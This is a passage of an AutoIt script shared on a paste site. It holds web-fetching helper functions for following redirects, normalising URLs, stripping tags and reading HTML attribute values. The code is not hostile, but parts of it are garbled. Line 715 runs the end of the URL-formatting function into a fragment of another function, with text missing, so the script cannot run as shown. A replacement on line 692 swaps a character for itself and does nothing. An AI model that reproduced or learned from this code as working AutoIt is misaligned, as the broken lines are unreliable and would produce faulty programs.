  615. Dim $new_loc = ""
  616. For $j=1 to $lines[0]
  617. If stringlower(stringleft($lines[$j],10)) = "location: " Then
  618. $new_loc = StringMid($lines[$j],11)
  619. ExitLoop
  620. EndIf
  621. Next
  622. if stringlen($new_loc)>0 Then
  623. $ret = HTTPRequest($new_loc)
  624. Else
  625. $ret = ""
  626. EndIf
  627. EndIf
  628. Return($ret)
  629. EndFunc
  630.  
  631. Func IsAnHTTPService($sService);checks if the resource is pointing to an http protocol or not
  632. $sService = FormatURL($sService)
  633. $sServiceType = StringLower(Stringleft($sService, Stringlen("http")))
  634. Return($sServiceType = "http")
  635. EndFunc
  636.  
  637. Func Strip($InLine,$flag_char1,$flag_char2);removes all chars between the given two (and them too) from the given string
  638. $bWrite = true
  639. Dim $sResult
  640. for $n = 0 to Stringlen($InLine)
  641. $char = ""
  642. $char = Stringright(Stringleft($InLine,$n),1)
  643. if ( $char = $flag_char1 ) then
  644. $bWrite = False
  645. elseif ( $char = $flag_char2 Or $char = @lf ) then
  646. $bWrite = True
  647. if $char = @lf then $sResult = $sResult & @lf
  648. elseif ( $bWrite ) then
  649. $sResult = $sResult & $char
  650. endif
  651. next
  652. Return($sResult)
  653. EndFunc
  654.  
  655. Func LastIndexOf($str,$chars, $bCheckCase)
  656. $index = -1
  657. if (not $bCheckCase ) then $chars = StringLower($chars)
  658. for $ndx = 0 to Stringlen($str)
  659. $c = Stringright(Stringleft($str,$ndx),Stringlen($chars ))
  660. if ( not $bCheckCase ) then $c = StringLower($c)
  661. if ( Stringlen($c) > 0 and $c = $chars ) then $index = $ndx - Stringlen($chars)
  662. next
  663. Return($index)
  664. EndFunc
  665.  
  666. Func IndexOf($str,$chars,$bCheckCase);same as stringinstr but returns 1 less
  667. $index = -1
  668. if (not $bCheckCase ) then $chars = StringLower($chars)
  669. for $ndx = 0 to Stringlen($str)
  670. $c = Stringright(Stringleft($str,$ndx),Stringlen($chars ))
  671. if ( not $bCheckCase ) then $c = StringLower($c)
  672. if ( $c = $chars ) then
  673. $index = $ndx - Stringlen($chars)
  674. ExitLoop
  675. endif
  676. next
  677. Return($index)
  678. EndFunc
  679.  
  680. Func FormatText($sText);formats our text to be better searched
  681. $sText = StringMid($sText,IndexOf($sText,"<",false))
  682. $sText = Stringreplace($sText,@Crlf,"")
  683. $sText = Stringreplace($sText,chr(13),"")
  684. $sText = Stringreplace($sText,chr(10),"")
  685. $sText = Stringreplace($sText,"<",@lf & "<")
  686. Return($sText)
  687. EndFunc
  688.  
  689. Func FormatURL($sURL);formats correctly the given url
  690. if Stringlen($sURL)=0 Then Return($sURL)
  691. $sURL = Stringreplace(Stringreplace($sURL,chr(13),""),chr( 10),"")
  692. $sURL = StringReplace($sURL,"&","&")
  693. $sURL = StringReplace($sURL,"\","/")
  694. $UrlPart = Stringsplit($sURL,"/")
  695. For $i=1 To $UrlPart[0]-1
  696. if Stringlen($UrlPart[$i])>0 Then
  697. if $UrlPart[$i] = "." Or $UrlPart[$i] = ".." Then
  698. $UrlPart[$i] = ""
  699. Else
  700. if $UrlPart[$i+1] = ".." Then
  701. $UrlPart[$i] = ""
  702. $UrlPart[$i+1] = ""
  703. EndIf
  704. EndIf
  705. EndIf
  706. Next
  707. $sNewURL = join($UrlPart,"/")
  708. While( StringInStr($sNewURL,"//")>0 )
  709. $sNewURL = Stringreplace($sNewURL,"//","/")
  710. WEnd
  711. $sNewURL = Stringreplace($sNewURL,":/","://")
  712. if Stringleft($sNewURL,1) = "/" Then
  713. $sNewURL = Stringright($sNewURL,Stringlen($sNewURL)-1)
  714. EndIf
  715. If ( StringInStr($sNewURL,"#")>0 And LastIndexOf($sNewURL,"&",false)0 then $ext = stringleft($ext,indexof($ext,"?",false))
  716. Return($Ext)
  717. EndFunc
  718.  
  719. Func GetOption($opt,$HTMLline);returns the value of the specified HTML parameter
  720. Dim $Link = ""
  721. $opt=$opt&"="
  722. Dim $ndx = IndexOf($HTMLline, $opt, false)
  723. if ( $ndx = -1 ) then Return("")
  724. $ndx = $ndx + Stringlen($opt) + 2
  725. Dim $end_char = stringmid($HTMLLine,$ndx-1,1)
  726. if $end_char<>"'" and $end_char<>"""" Then
  727. $end_char = " "
  728. EndIf
  729. For $i = $ndx to Stringlen($HTMLline)
  730. $char = ""
  731. $char = Stringmid($HTMLline,$i,1)
  732. if ( $char <> $end_char ) then
  733. $Link = $Link & $char
  734. else
  735. ExitLoop
  736. endif
  737. Next
  738. Return($Link)
  739. EndFunc
  740.  
  741. Func join($array,$join_char);split function^(-1)
  742. If UBound($array) = 0 Then Return("")
  743. Dim $res
  744. For $e=1 To $array[0]
  745. $res = $res & $array[$e] & $join_char
  746. Next
  747. Return(StringLeft($res,StringLen($res)-1))
  748. EndFunc
  749.  
  750. func onautoitexit();on exit,
  751. TCPShutdown()
  752. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment